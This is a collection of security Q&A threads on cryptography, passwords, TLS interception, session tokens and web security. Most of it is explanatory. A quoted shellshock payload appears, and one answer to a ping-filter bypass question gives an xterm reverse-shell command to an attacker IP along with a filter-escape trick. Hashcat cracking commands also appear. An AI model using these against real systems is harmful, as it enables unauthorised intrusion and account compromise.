Is 1024bit Diffie Hellman key exchange secure? My system uses AES-256, 4096bit RSA CA key and 2048bit RSA keys for servers together with SHA-256 signing.

Does using 1024bit DH key exchange lower its security?

I read on one mailing list that 1024bit DH provides about 70-80bits of security, is it true?

Comparing key strength between symmetric encryption and asymmetric key exchange is like comparing apples with oranges: it is doable (they are both tasty fruits) but tricky and full of subtle details. To break DH, the best known method is trying to solve the discrete logarithm problem, for which the best known algorithm is a variant of Index Calculus which contains parts of the General Number Field Sieve algorithm (GNFS is for factorization, but discrete logarithm modulo a prime, and factorization of a big non-prime integer, are mathematically related problems). Such attack algorithms require quite a lot of horsepower, in particular lots of very fast RAM; on the other hand, breaking a symmetric key through exhaustive search (that's what we mean by "n bits of security") requires only CPU, but no RAM, and is much more easily distributed over many nodes. So the apples are CPU and the oranges are RAM. The really only common measure for both is the dollar; but asking the financial cost of breaking a 1024-bit DH key, or the financial cost of breaking an 80-bit symmetric key, is kind of meaningless, since this goes into amounts where the dollar ceases to be well-defined (as an order of magnitude, dollars can be used to measure amounts up to the US national debt, but not much higher).

These caveats did not prevent various researchers and standardization organisms from making apple/orange comparisons. This site makes a good job of listing those security estimates, with handy online calculators. As a baseline, they about all agree that 1024-bit DH is close, in security, to what a 77 to 80-bit symmetric key offers. Note that a 64-bit symmetric key was broken in 2002, and 77-bit is "only" 8192 times more difficult.

Since the best known discrete logarithm attack (IC with GNFS) has many common parts with the best known factorization algorithm (GNFS), DH with a k-bit modulus should be roughly equivalent to a RSA key with a k-bit modulus. So you should use 2048 bits for DH too.

In your list, "AES-256" is overkill (AES-128 would still be "more secure" than 2048-bit RSA or DH), but mostly harmless overkill (AES-256 is only 40% slower than AES-128).


Visual Studio Code leaving port open Running a port scan via Network Utility on OS X 10.14.5, turns up two different outcomes, depending on whether or not I have Visual Studio Code (1.35.1) open.

If the application is open, I'll get random ports around 64500 open as well, if not, these open ports disappear.

I've set up Little Snitch to prevent connections in/out from VSC (which may be overkill), but:

How much of a risk is it to have these random ports open on my machine while I'm using Code?
What other steps can I take to prevent any malicious behavior through these ports?

If you have the firewall enabled, you're going to see ports when scanning from localhost which can't be accessed externally.

The question of "how much of a risk is it" can only be answered if you know what (specific)service is backing the port, and whether that service has vulnerabilities. As a general rule in security, don't assume risk without evidence.

It's pretty common for applications to open high-number ports to perform various functions(update checks, usage telemetry reporting, etc), and most of the time they're not listening for any kind of inbound communication.


Understanding OPENVAS Wireshark Capture I was looking at a sample capture from a tutorial I was looking at and below is a snippet of a wireshark packet capture:

OpenVAS:() { _; OpenVAS; } >_[$($())] {  echo Content-Type: text/plain; echo; echo; PATH=/usr/bin:/usr/local/bin:/bin; export PATH; id; }

My understanding of the above is that the malicious individual is using OpenVAS to scan for vulnerabilities. Using openvas, he then defines what paths he wants to export using PATH=/usr/bin:/usr/local/bin:/bin. He then exports using export PATH. Not sure what 'id' is.

Can someone assist in clarifying what exactly is going on? I think I'm on the right path but need help.

OpenVAS is not being used; that name is arbitrary, and perhaps a red herring, or a nose-tweak of people analyzing it (such as yourself).

This is an example of the shellshock bug which was very big news four years ago. Use the search box to find dozens of Qs about it here on security.SX and nearly as many on unix.SX and serverfault. This example is clearly aimed at a CGI server, and causes it (if vulnerable) to output a simple HTTP response containing the output of the id command, which is harmless in itself but demonstrates unauthorized execution on the target which could have been used to do much worse things.


How are "worst passwords" lists made? I don't understand how it's possible to create a list of the worst passwords used if they're (allegedly) encrypted? Are they collected anonymously before saving in the database especially for this purpose? Or it's just a poll?

When LinkedIn was hacked in 2012, nearly 6.5 million password hashes were leaked. Because LinkedIn failed to salt their passwords, it was easy to compute hashes of common English words and combinations, and analyze which were used the most.

I'm not saying this is the only way, but it's one of the possible ways to figure out the "worst used passwords", as you say.


Can Microsoft access the contents of my OneDrive Personal Vault? I found the article to be quite informative that addresses the question "Can Microsoft access my private files?" (Can Microsoft access all private data if a user installs Windows 10?), which includes my OneDrive files, but it didn't specifically mention the special folder called Personal Vault.  Does Microsoft have just as much capability of accessing the contents of my Personal Vault as it does all my other OneDrive files, or is Personal Vault an exception?

Apparently you can unlock your Personal Vault by SMS, Email and various other methods, so Microsoft's internal systems would be able to read/decrypt your data similar to how OneDrive's regular files operate. There is also no mention about losing access to files after a password reset, which would be the case if the data was encrypted with a key that Microsoft didn't control.


Decrypt and then re-encrypt all requests to the internet at firewall level I don't have strong skills about this matter but I am very curious about the following communication so may I ask:

One institution sent a message to all network users saying that "all requests to the internet which are encrypted will be decrypted and then re-encrypted at firewall level". So my questions are: is this possible?! And how?

Examples are given: Google, Facebook, LinkedIn, ... which use encrypted connection. And also examples that stay out of this mechanism: sites tagged in the "financial" category.

If the keys are only shared by my computer and the website, how can the requests be decrypted? The institution is big and has resources, but I cannot imagine the firewall breaking the keys in run time for all requests.

I see that there are companies selling "SSL Decryption and Inspection" services.

Can someone explain me how this work please?

There are lots of information about this topic on the internet and on this site, so it does not make sense to repeat everything:

a short introduction on how this works you'll find at http://www.zdnet.com/article/how-the-nsa-and-your-boss-can-intercept-and-break-ssl/
and a discussion of the associated problems at What security risks are posed by software vendors deploying SSL Intercepting proxies on user desktops (e.g. Superfish)


Brute-Forcing a Chrome Login Data file Say I have a "Login Data" Chrome file that is encrypted with the user's Windows password. Is there a way I can brute-force the file and try to decrypt it using every password possible?

Since chrome v80, chrome encrypts cookies and passwords using AES256-GCM with a randomly generated key. The key used for encryption is then encrypted with DPAPI and stored in the 'Local State' file in the user's chrome profile. However, the DPAPI is used in Local_Machine scope which means that any user on the computer where the encryption was done can decrypt the data (i.e. encryption does not rely on user's password at all). I am not sure exactly how the master key for encryption on Local_Machine is derived, but if I remember correctly, it uses environment specific variables.
What this means is that if you only have the "Login Data" file available, you will have to brute-force the 256 bit AES key, which is currently practically impossible. Even if you can get your hands on the user's "Local State" file you will still not be able to decrypt the key unless you can figure out and obtain all the environment specific variables DPAPI relies on. Your best bet would be to gain physical access to the system while any user is logged on and then decrypt the passwords using something like ChromePass


Weakness of AES OFB mode I found these comments regarding AES OFB Mode: "This mode is a slightly less common mode, quite similar to CFB above, but which should not be used as a stream cipher due to inherent weaknesses when the data width doesn't match the blocksize of the underlying encryption algorithm". Is there any reason why the data width affects the AES OFB mode performance?

This is a weird assertion. A block cipher in OFB mode is, functionally, a stream cipher which produces a key-dependent stream of pseudorandom bytes; encryption is then just a XOR of the stream with the data to encrypt (and decryption is identical). Data size is quite irrelevant; to the contrary, OFB is one of these modes which require no padding.

What the commentator probably meant is that OFB should not be used with less than full-block feedback. The "normal" OFB is what is described on the Wikipedia diagrams: each output block (from the block cipher) is used as input for the next block cipher invocation. However, in older times, OFB used a partial feedback, in which the input for the block cipher used only part of the output from the previous block. OFB with partial feedback is slower than normal OFB and was meant to support transmission mediums which lose synchronization. Since OFB with partial feedback turned out to be significantly weaker than full-block OFB, the standard deprecated it. My guess is that the comment you quote was about OFB with partial feedback.

Nobody does OFB with partial feedback, except PHP where the MCRYPT_MODE_OFB constant selects OFB with 8-bit feedback (we can count on PHP to select weak and inefficient default values whenever possible; they are very creative that way).

See the Handbook of Applied Cryptography for details (chapter 7, section 7.2.2). Anyway, even full-block OFB can be considered as inferior to CTR on all points and should be avoided (see this answer for more details). And, of course, authenticated encryption like EAX are much better.


Why is root security enforced but $HOME typically unprotected? Coming from the comments in this question Why is it bad to log in as root?:

The sudo mechanics is in use so non-administrative tools "cannot harm your system." I agree that it would be pretty bad if some github project I cloned was able to inject malicious code into /bin. However, what is the reasoning like on a desktop PC? The same github code can, once executed, without sudo rights, wipe out my entire home folder, put a keylogger in my autostart session or do whatever it pleases in ~.

Unless you have backups, the home folder is usually unique and contains precious, if not sensitive data. Root directories however build up the system and can often be recovered by simply reinstalling the system. There are configurations saved in /var and so on, but they tend to have less significance to the user than the holiday pictures from 2011. The root permissions system makes sense, but on desktop systems, it feels like it protects the wrong data.

Is there no way to prevent malicious code happening in $HOME? And why does nobody care about it?

I'm going to disagree with the answers that say the age of the Unix security model or the environment in which it was developed are at fault.  I don't think that's the case because there are mechanisms in place to handle this.

  The root permissions system makes sense, but on desktop systems, it feels like it protects the wrong data.

The superuser's permissions exist to protect the system from its users.  The permissions on user accounts are there to protect the account from other non-root accounts.

By executing a program, you give it permissions to do things with your UID.  Since your UID has full access to your home directory, you've transitively given the program the same access.  Just as the superuser has the access to make changes to the system files that need protection from malicious behavior (passwords, configuration, binaries), you may have data in your home directory that needs the same kind of protection.

The principle of least privilege says that you shouldn't give any more access than is absolutely necessary.  The decision process for running any program should be the same with respect to your files as it is to system files.  If you wouldn't give a piece of code you don't trust unrestricted use of the superuser account in the interest of protecting the system, it shouldn't be given unrestricted use of your account in the interest of protecting your data.

  Is there no way to prevent malicious code happening in $HOME? And why does nobody care about it?

Unix doesn't offer permissions that granular for the same reason there isn't a blade guard around the rm command:  the permissions aren't there to protect users from themselves.

The way to prevent malicious code from damaging files in your home directory is to not run it using your account.  Create a separate user that doesn't have any special permissions and run code under that UID until you've determined whether or not you can trust it.

There are other ways to do this, such as chrooted jails, but setting those up takes more work, and escaping them is no longer the challenge it once was.


Combined-Dictionary attack with hashcat, for 4 words passphrases? Reading the new advice on password which seems to spead easily (at least in my workplace), I was wondering how to use hashcat for cracking four-word password hashes?

Say I have this hash 1da9133ab9dbd11d2937ec8d312e1e2569857059e73cc72df92e670928983ab5 of a password a user claims to be unbreakable because it's a 16 character long "passphrase", how can I combine hashcat's dictionaries to crack it (say I suspect it's a four-word password only)? I see you can combine 2 dictionaries so you can crask 2 words passphrases, but what about 4?

The only way I see so far is creating another dictionary with all combinations of 2 words from the original English dictionary, and then do a combination attack using this "2words" dictionary twice (so it makes it a four-word dictionary):

./combinator.bin dict.txt dict.tdt > dict2words.txt
./hashcat64.bin -m 0 -a 1 hash.txt dict2words.txt dict2words.txt

But it feels heavy to generate such a dict2words.txt file.

You're looking for hashcat's related tool princeprocessor, also by hashcat's author. It's specifically designed for multiword passphrases and similar "combination" work.

A killer PRINCE feature is that it does all of the combination work for you without having to store all combinations on disk (which is probably what you meant by "heavy"?)

princeprocessor also includes some hashcat rules that are designed to maximize GPU utilization by adding a variety of permutations.

Tip: tinker with very short wordlists and observe the output directly:

$ cat wordlist.txt
xenos
hashcat
prince
passphrase

$ pp64 --elem-cnt-min=4 --elem-cnt-max=4 wordlist.txt
xenosxenosxenosxenos
xenosxenosxenosprince
xenosxenosprincexenos
xenosprincexenosxenos
princexenosxenosxenos
xenosxenosxenoshashcat
xenosxenosprinceprince
xenosprincexenosprince

[...]
passphraseprincehashcatxenos
passphrasehashcatxenosxenos
hashcatpassphraseprincexenos
passphrasehashcatprincexenos

... and then once it's working the way you expect, pipe your output to hashcat using wordlist mode (-a 0) with your real wordlist.


Is an OS more vulnerable while it is being updated? Are there any additional attack vectors that apply when an OS is being updated? For example, would the services that are being updated be unstable?
An OS is generally more secure after being updated, but I would like it if someone could explain how an OS can be attacked (additional attack vectors, etc.) while it is being updated.

According to FIRST, CVSS would be scored lower for a vulnerability that depends on certain conditions and it cannot be performed whenever the attacker wants to.

"A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will..."
from https://www.first.org/cvss/v3.0/specification-document

And from that perspective I would say a vulnerability witin the update functionality would have a lower risk.

But, practically if the OS doesn't have any vulnerability except one that is present when updating, I'd say it implies it is more vulnerable when updating.

On the top of my head I can think of these situations:

MITM;
insecure default configurations (after updating the settings could be more permissive);
improper permissions placed on temporary files (during the update files could be created and used insecurely, eg. symlink vulnerabilities);
race conditions, (eg. it creates a file that anyone can read from/write to and only after copying something it will change the permissions to be more restrictive).


IPSec: Using ESP after AH If I remember correctly applying ESP after AH is not doable (using transport mode), but I can't find any conclusive answer why. I assume it has something to do with ESP having an impact on the IP Header, but the only field - I assume - that gets changed is the "proto" field (AH -> ESP), which I do not know if AH authenticates.
I'm talking about the following setup:

[IPHDR][Payload] Apply AH ---> [IPHDR][AH-H][Payload]
Apply ESP ---> [IPHDR][ESP-H][AH][Payload][ESP-Trail][ESP-Auth]

From a technical and theoretical stand point there is nothing that prevents you from applying ESP after AH in transport mode. The proto field is restored again when ESP is removed. So unless other parts of the IP header that AH protected were modified on the way (e.g. the source IP due to a NAT) this should work fine.

But since AH is used to protect the integrity of the transmitted data you usually want to do that last. And if you use ESP with both encryption and authentication you'd do that work twice. Therefore, RFC 2401 contained the following text (it's not part of RFC 4301 anymore because the SA bundle requirement was removed):

  For transport mode SAs, only one ordering of security protocols seems
     appropriate.  AH is applied to both the upper layer protocols and
     (parts of) the IP header.  Thus if AH is used in a transport mode, in
     conjunction with ESP, AH SHOULD appear as the first header after IP,
     prior to the appearance of ESP.  In that context, AH is applied to
     the ciphertext output of ESP.  In contrast, for tunnel mode SAs, one
     can imagine uses for various orderings of AH and ESP.

Also, doing authentication before encryption (i.e. if you use AH in confidentiality-only ESP) might not provide the same protection as doing it the other way around.  As RFC 4303 puts it in its introduction:

  Using encryption without a
     strong integrity mechanism on top of it (either in ESP or separately
     via AH) may render the confidentiality service insecure against some
     forms of active attacks.  Moreover, an underlying integrity service, such as AH, applied before encryption does not necessarily protect the encryption-only confidentiality against  active attackers [Kra01].

Where [Kra01] refers to the paper "The Order of Encryption and Authentication for Protecting Communications (Or: How Secure Is SSL?)" by Hugo Krawczyk, which argues that under certain circumstances an active attacker might be able to break the encryption in the integrity-before-encryption scheme.


Bank client android app authentication security I'm currently developing an android bank client app. Obviously security is key here. The app sends requests over HTTPS TLSv1.2 to my java server.

What I currently have in mind

Login

The app asks for user's username and password and sends these in plain text over HTTPS TLSv1.2
The password is hashed with bcrypt and if credentials match, an access and refresh token is generated. The refresh token is stored in the database along with the user's UUID. The access token and refresh token is then sent back to the app. The app stores these tokens in SharedPreferences(PRIVATE_MODE) The user is supposed to not have to re-enter their credentials if the app is opened again later and the refresh token is still non-expired.

Pin code

After successfully logging in, a PinCodeActivity is started which asks for the user's 5-digit pin code. The PinCodeActivity is always started when the app is opened and the user is still logged in. The entered pincode is also sent to the server in plain text. The pincode is then hashed and matched with the pincode in the database for the user corresponding with the access token which is also sent in this request to authenticate the pincode. If it matches, the server sends an OK response and the pincode is stored in memory on the app to be sent alongside every request to the server. When the app is closed this pincode is removed from memory.

What I'm not sure about

If the credentials and pincode is sent in plain text, could they not be intercepted by a Man In The Middle Attack? If so, if I would hash them on the app, would this not have the exact same implications? In that case an attacker could just send the intercepted hashes and login/attack with those hashes. I'm really no where near a security expert so please let me know if I got anything wrong or if there's something I should know.

Basically what I want to know is if the implementation I proposed is a secure method for a bank client app. And if not, how could I make this more secure?

Transmitting data over TLS is assumed to be secure when the TLS implementation is well-managed. There are three major developer-level considerations.

Your server and client should be configured only with secure ciphers. Some MITM attacks leverage server/client support for weak ciphers to force the selection of a weak cipher, which the attacker then compromises. As long as one side requires strong ciphers, the connection can be established securely---but it is best to configure both ends if possible.

You should look into certificate pinning. With PKI, by default, any trusted certificate authority can issue a certificate for any domain. An attacker could compromise a CA and then issue certificates for domains of his choosing, or he could convince a CA to sign a fraudulent CSR that he created for your domain; these would work until he the compromised certificate is detected and revoked. Needless to say, financial institutions are desirable targets for this sort of abuse. Certificate pinning prevents this from happening by ensuring that your own certificate is used to establish the TLS connection.

Finally, use a current and supported cryptographic library to handle those operations. Crypto is a highly specialized discipline with a steep learning curve, and it is very easy to introduce disastrous flaws. Do not reinvent the wheel.


Reducing password length with hash function Suppose I would like to use a very long string as a password.  As an example we can just say this string is 100 characters in length.

However, suppose the application for which I would like to use this password only supports password lengths of 64 characters.  Without going in detail, assume that simply truncating the desired password at 64 characters would significantly increase its predictability.

Would it be secure if I used as my password a hash of this password, for the sole purpose of reducing its length?

For example, if I chose to use a base64-encoded SHA-256 hash of the password, I believe that I am looking at a search space of about 2.96 * 1079 (64 possible characters * length of 44).  I choose to use base64 instead of the hex representation because the hex representation consists of a smaller search space (16 possible characters * length of 64 = 1.16 * 1077).

(EDIT: As Thomas Pornin pointed out in his answer, the search space will always be 2256 regardless of what encoding is used.)

For my purposes, this search space size is sufficient.  However, does the fact that I am using a base64 encoding of a SHA-256 hash introduce any predictability o the password?  In other words, if an attacker knows that my password is a base64-encoded SHA-256 hash of an input string (but he knows nothing about the input string), would he some how be able to reduce that initial search space of 2.96 * 1079?

The "search space" has size 2256. It is not enlarged or reduced depending on whether you use hexadecimal or Base64. When you encode a 256-bit string (aka 32 bytes) in Base64, you indeed get 44 characters, but not all combinations of 44 characters (taken in an alphabet of 64) are possible. The 44th character will always be an '=' sign, and there are only 16 possible characters for the 43rd position.

Now, 2256 is huge and far (very far) beyond that which is searchable with existing or foreseeable technology. That's also beyond good science-fiction. That's even beyond bad science-fiction.

Hashing a password with a cryptographically strong hash function (and SHA-256 is indeed strong) is a valid way of "shortening" a password; indeed the PBKDF2 function (a key derivation function, often used for password hashing) begins by such a step(*). The apparent "reduction" of the space is not an issue because a space of size more than about 280 is not susceptible to exhaustive search.

Of course, this raises the question of how you will compute the hash... a password is called "password" because it is meant to be remembered by a human mind and typed by human fingers. Will you remember a hash output ?

(*) PBKDF2 is normally used with HMAC, the password being the HMAC key. In HMAC, if the key is larger than the "block size" of the internal hash function, then it is first hashed, and the resulting hash value is used as key.


Should my company have an SSL on our email We have a new IT guy that insists we do not need an SSL on our email. Quite a few people access their email from outside our office(network) via mobiles and home computers, often from WIFI connections. Shouldn't we be encrypting our emails? We are a software company that is responsible for millions of dollars worth of data, and we frequently email each other passwords and other sensitive data.

I would love some feed back as I plan to show my boss any high rated comments. Please spare nothing.

While I personally would say that every mailserver must provide support for SSL, deploying SSL is not the only way to secure eMails; usually using some kind of end-to-end encryption is a good idea, especially with critical data.
You need SSL for...
SSL can protect eavesdropping for in- and outbound mails, given that both mailservers support it. So if a customer sends you critical information from an server supporting ssl, it will be sent in plaintext unless you set up ssl as well. Thus, all information on such eMails should in my personal opinion be considered as public information, like a postcard. Your customers should be worth the effort of setting up SSL.
You also need SSL for employees accessing their mailboxes; this may additionally improve the security of mailbox passwords. Not deploying SSL there is a rather big security risk, as an attacker would only need to redirect the traffic of an employee's computer to get access to his whole mailbox.
You don't need SSL for...
However, if you only use webmail (over SSL) or only access mailboxes from a network considered safe, emails routed internally (e.g. emails within your company) are not affected from not properly using SSL on the mailserver part.
So, I'd highly recommend SSL for any setup, and additionally some end-to-end encryption (PGP or S/MIME) for critical information like passwords.


Command injection --- filtering bypass I am testing a PHP webapp that provides a ping function. I have tried different command injection methods and found that it accepts only %0a with simple command injection like ls or id

However the code is filtering many characters such as | & ; ( " / > ’ which are required to execute a reverse shell. Like nc -e /bin/bash.

Any suggestions on how to bypass this filter?

Using xterm

One of the simplest forms of reverse shells is an xterm session.  The following command should be run on the target.  It will try to connect back to your system (e.g. 10.0.0.1) on TCP port 6001.

xterm -display 10.0.0.1:1

To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001).  One way to do this is with Xnest (to be run on your system):

Xnest :1

You’ll need to authorise the target to connect to your system (command also run on your system):

xhost +targetip

Consider blacklisting as a failure to be secure.

Blacklisting of characters is not secure and you should consider bypassing the list itself.

By example: ^| is not | but it does the job.


Will making HTTP cookies unique to a given website make cookies aligned with the strictest privacy guidelines? As far as I know, the only privacy problem with cookies is that in general, the owners of website Y could read what a visitor has searched for or had done in website X.
Will making HTTP cookies unique to a given website (so other websites won't be able to access it) make cookies aligned with the strictest privacy guidelines (or will there still be a privacy and maybe also information security problem)?

owners of website Y could read what a visitor has searched for or had done in website X.

No, it's not. A cookie set by www.example.com cannot be read by www.another-example.com. That's a fundamental property of cookies: they are tied to a domain. Some are even tied to a subdomain, making a cookie from one.example.com being unable to be read from two.example.com.
What happens is that lots of sites will use some ad network to display ads. And those ad networks (for example, adnet.net) will receive a request with a special header: Referer, and that header says you are coming from example.com. And adnet.net can set a cookie giving you an unique ID.
So if you access example.com, and they use adnet.net as their ad-provider, your unique ID for adnet.net is sent to adnet.net and the Referer header says it's coming from example.com. They will record on their database that you accessed example.com, another-example.com and any other site you accessed and happened to have ads from adnet.net.
No cookie from adnet.net can be read either by example.com nor another-example.com, but adnet.net knows for sure you accessed both of them. And not only ads. A lot of sites are built using JQuery, and to not have to host jquery.js they just use a CDN and link that file directly. And the CDN too receives a request with Referer header, and the CDN can set a special cookie with an unique ID on it.

Will making HTTP cookies unique to a given website (so other websites won't be able to access it) make cookies aligned with the strictest privacy guidelines (or will there still be a privacy and maybe also information security problem)?

It won't make any difference, because your cookies cannot be read by anyone else. What you can do is to now have any external resources (so host all your images, all scripts, all ads). This way nobody can know your users by cross-referencing ad network and CND cookies.


Is this cross-site password model secure? I'm looking for a way of securely having passwords for different pages. Say I generate this password:

ild23rfsfdfg%*#fArg34t34657%537@asd7oak2094^*q2k2k@Kk3j4tn453Q5#

Then, for each site, I change a single character. It's a single, random position with a random character shift. Isn't it almost as secure as having a string half the length randomly generated, unpublished and not reused? Then I'd only have to remember the 1-64 character position + another number in my memory, instead of the whole password.

What pitfalls does this model have? I don't know how to measure the strength of this. I haven't used this model [yet], but I think it might be very useful for many people and situations, one being the case of a travel. The main problem I can see is a binary search can yield to, in average, 1/2 the strength of the whole thing (still kicking-ass strong).

To answer, please, consider that the position and shift are truly random. How much more secure is it if the original password is not published anywhere? Since I'm not specifically looking for security through obscurity, I'd like to know.

Note: I know about correct horse battery staple and using a password manager, I'd just like to know if this is actually strong since I don't have the expertise to judge myself.

It was vaguely strong until you published your mechanism. Now, if someone manages to get hold of your base password and a hash, they only need to try about 6500 passwords to crack it - i.e. ~100 printable characters per position, with ~65 positions.

Not only that, but it's clear that you "keyboard hammered" in order to generate the base password, which means there will be statistical correlations that make discovering the base easier.

If you're storing the base password in a secure manner, there's no reason why you can't just store a full set of unique passwords in a secure manner. Invest in a password manager such as KeePass and your life will be a lot easier. Heck, it's way easier to remember a single strong password than it is to remember a whole score of offsets and alterations!


Secure way to log in to a website on someone else's computer Suppose I am in a situation that I am forced to log in to my account using someone else's computer. Is there any secure way to do that so that I would be sure that my login details (i.e. password) are not recorded by any means (e.g. keystroke logging)? Or if it is impossible, what are the ways to at least mitigate the risks?

Although related, but note that this is a bit different from this question since I am not using my own computer to log in.

This is an interesting question!

The rule of thumb is that if someone else has control of the device (and they're determined enough), they will always be able to monitor and modify all of your actions on the device.

We can (to a somewhat limited extent) get around this though! Two-factor authentication can be used to ensure that even if someone has your password, they cannot get into your account without also having access to a separate device (owned and controlled by you).

Keep in mind that once you log in, the computer ultimately has control over your interaction with the website, and as a result it could trivially see everything you do on the site and even modify your requests to the site (including not logging you out properly when you're done, and potentially changing your login details to lock you out of your own account).

This all depends on how worried you are about being attacked - if you're just logging into Facebook on a friends computer, you can probably trust that when you hit "Log Out", it actually logs you out. If you're logging into something really important, however, you may want to stick to devices you control.

Additionally, consider the following, via user TemporalWolf

  Some websites allow for the generation of single-use one time passwords which sidesteps any sort of password logging... as you mentioned, this doesn't stop them from mucking with the now authenticated session.


cryptographic session token vs stored random session token I am building a web API and I have a hard time choosing between cryptographic session token and stored random session token for user authentication.

I see several pros & cons for each:

stored random session token (store an expiring pair {token:userId} in a db):

really random, with a negligible collision risk; an additional unique check can be done during database insertion
stored in a database, which leads to scaling costs, devops maintenance costs
tokens can be revoked
no risk of cryptanalysis as long as the correct random function is used

cryptographic session token (use an strongly encrypted mix of 'userId, expiryTime' with a common symmetric key stored in the backend)

random at each session, thanks to expiry time & a nonce
no need to store them (no need for extra network calls) - symmetric decryption of session token will be faster. This leads to massive devops improvement and cost
tokens cannot be revoked
risk of cryptanalysis
negligible but existing collision risk that cannot be prevented
risk with the symmetric master key

The safer approach seems the stored random session token, however the costs & devops database related issues are really making me doubt.

Any help on the best practice, and whether the cryptographic session token would be considered bullet proof by security experts? Perhaps a suggestion of a stronger solution?

The provided link still acknowledges that both are used - I am wondering if a security expert will reject the crypto token for a banking website? Where do you draw the line?

Speaking as a security consultant, yes, I would absolutely flag the second approach as a security vulnerability. A key like that is at far too much risk of an attacker finding some way to dump or otherwise determine it, and once they do that they can impersonate any user. You could make it harder through a number of tricks, but at the end of the day you're trusting the client to do session management. Don't do that, even when the info is supposed to be opaque to the client. If nothing else, the revocation is itself a good point (especially if your tokens have non-trivial lifetime).

Caching small pieces of data, like a session ID -> user ID mapping, can be done pretty easily and with minimal overhead. Adding new mappings is relatively uncommon - each session will be used many times for each time one is created - so you don't have to optimize for creation. It doesn't necessarily need to be persisted to anything; for a banking website your tokens should be very short-lived! As for "doing it right", a token of safe length (128 bits is good) from a cryptographically secure random number generator makes an excellent ID token.


How can I check if there is malware on my router? What checks should I perform to ensure my router is malware free?
This is for a home network

Checking a router for malware or tampering is tricky, as that would require being able to compare both firmware and configuration with known good versions. Comparing configuration could be done by comparing configuration backups, if the device has such functionality, but that doesn't really work for firmware. Therefore, there's no really sufficient way to ensure the router is free of malware.
However, some infections & router hijacks can be recognized from the modified behaviour in the network:

Signs of man-in-the-middle (MITM) attacks (independent of which device is used).

Counterfeit DNS responses or modified DNS server configuration
HTTPS downgrade attacks

Reports from the ISP that the Internet subscription is used for malicious actions. If the router is infected, such actions likely continue despite there's no devices behind the router.

as a part of distributed denial-of-service (DDoS) attacks
for sending spam email.


Can signing too much compromise a private key? Can a collection of many messages signed with the same private key be abused to either forge signatures so some (but not all possible) messages, or even worse to reconstruct that private key with less effort than from the public key?

If the signature algorithm is any good (and used properly with large enough keys which were generated in a correct and suitably random way), then, in practice, the answer is no: having access to many existing signatures does not allow the attacker to forge new ones, let alone recompute the private key.

From a theoretical point of view: most (actually all) signature scheme begin by hashing the message to be signed, and the signature is actually computed over the hash value. Therefore, if the attacker has an existing signature S for message M, which hashes to h(M), and finds a message M' such that h(M) = h(M'), then S is also a valid signature for M' ("valid signature" means "a signature that will be accepted by verifiers"). Therefore one possible attack way is to try many variants of a phony message M' until one is found which hashes to the same h(M) than an existing signature, at which point the attacker has forged a new signature (more precisely, has successfully recycled an existing signature for a new message).

This is a second-preimage attack on the hash function. Having many existing signatures gives more targets for the attacker, which makes that attack easier. But easier is not easy. A "normal" signature algorithm will use hash functions which are strong enough and with a wide enough output that second-preimage attacks are not feasible, for any practical number of targets. To put some figures under it: with a 160-bit hash function (e.g. SHA-1), the cost of a second-preimage attack with one target is about 2160; if the attacker can gather one million existing signatures, cost drops to about 2140: that's one million times easier, but still way too hard (e.g. see there).

Note the fine print, though: I insist on the algorithm being used properly. For instance, consider DSA (or its elliptic-curve variant ECDSA). When computing a signature, you need to generate a random value k chosen uniformly in the [1..q-1] range for a given prime integer q (a new random k is needed for each signature). If the choice is biased in some way, this might be exploited for a key recovery attack. An extreme case is the Sony-PS3 debacle, where they used a fixed value of k, always the same regardless of the message to be signed. This is very wrong: two known signatures suffice to rebuild the private key. More generally, Bleichenbacher has shown (a dozen years ago) that if k is chosen by taking a random string of bits of the same size than q, then reducing modulo q, then the slight bias is sufficient to rebuild the private key from about 263 known signatures (for a 160-bit q).

Of course, in that situation, the problem is not allowing the attacker to see many signatures, but using the algorithm improperly. Implementation of cryptographic algorithms is hard (kids, don't do it at home !).


Android disk encryption When is the data on an Android phone encrypted? I am assuming here that the device is configured to have full disk encryption enabled.

Is it only encrypted when the device is powered off and decrypted when powered up.
Is it encrypted when the device is locked (equivalent to iOS NSFileProtectionComplete) and decrypted each time the device is unlocked

Also, how different is it between Lollipop and previous versions?

Android disk encryption is based on dm-crypt and is a full-disk encryption, meaning everything is encrypted using the same master secret. This is different from approach employed by iOS where different files are encrypted with different master secrets based on their protection classes. Effectively, all files on Android-encrypted disks share same protection class.

For older versions of Android (before 5.0) it was fairly easy to bruteforce the PIN so the protection wasn't great and I would rate it to be on-par with NSFileProtectionNone class in iOS.

5.0 introduced improvements to combat offline bruteforce and now whole thing is much closer to NSFileProtectionCompleteUntilFirstUserAuthentication. But please note that because Android's disk encryption is FDE and there's only one master key, it will never be equivalent to NSFileProtectionComplete — because Android won't be able to purge master secret from memory when user locks the device (otherwise none of background services will be able to access any data).

There is an excellent write-up on the Android FDE here (and if you're into Android security in general that blog offers tons of valuable information).


Same Origin Policy - XHR response I know that Same Origin Policy (SOP) prevents a page/script from one origin to read response from another origin, but it does not prevents the page/script from making a XMLHttpRequest (XHR) request to a different origin. From Mozilla's Developer site:

  Cross-origin writes are typically allowed. Examples are links, redirects and form submissions. Certain rarely used HTTP requests require preflight.
  Cross-origin reads are typically not allowed, but read access is often leaked by embedding. For example you can read the width and height of an embedded image, the actions of an embedded script, or the availability of an embedded resource.

My question: If it only prevents page/script from reading the response from another origin, can't we just use a proxy listener like Burp or a sniffer like wireshark to capture the response before it even reaches the browser (where SOP is implemented)? Why does the server even respond to such requests from another origin? Shouldn't they only respond when Cross-origin resource sharing (CORS) is enabled on them?

If it only prevents page/script from reading the response from another origin, can't we just use a proxy listener like Burp or a sniffer like wireshark to capture the response before it even reaches the browser (where SOP is implemented)?

These are two different types of attack. Preventing reads from another origin prevents an attacker's site (evil.example.com) that the user has visited from making an XHR request to the site that the user is logged into (webmail.example.com) and getting the data. In this case it is stopping other websites from reading the user's email messages.
If you can configure the user's machine to use an intercepting proxy or if you can position Wireshark listening on promiscuous mode on the user's network then it is likely that as the attacker, you do not need a cross domain XHR request - you could just observe normal traffic. An exception to this is in the case of attacks such as POODLE. For example, if you could listen to traffic over the network, but the user's connection is made to the website using SSL, you may need to inject XHR traffic as a MITM in order to decrypt one byte at a time via the POODLE attack vector.
The Same Origin Policy does not help here, but if it did not exist there would be no need for the MITM attack nor the POODLE vector. The Same Origin Policy defends against some web based attacks that would otherwise be possible, nothing more.

Why does the server even respond to such requests from another origin? Shouldn't they only respond when Cross-origin resource sharing (CORS) is enabled on them?

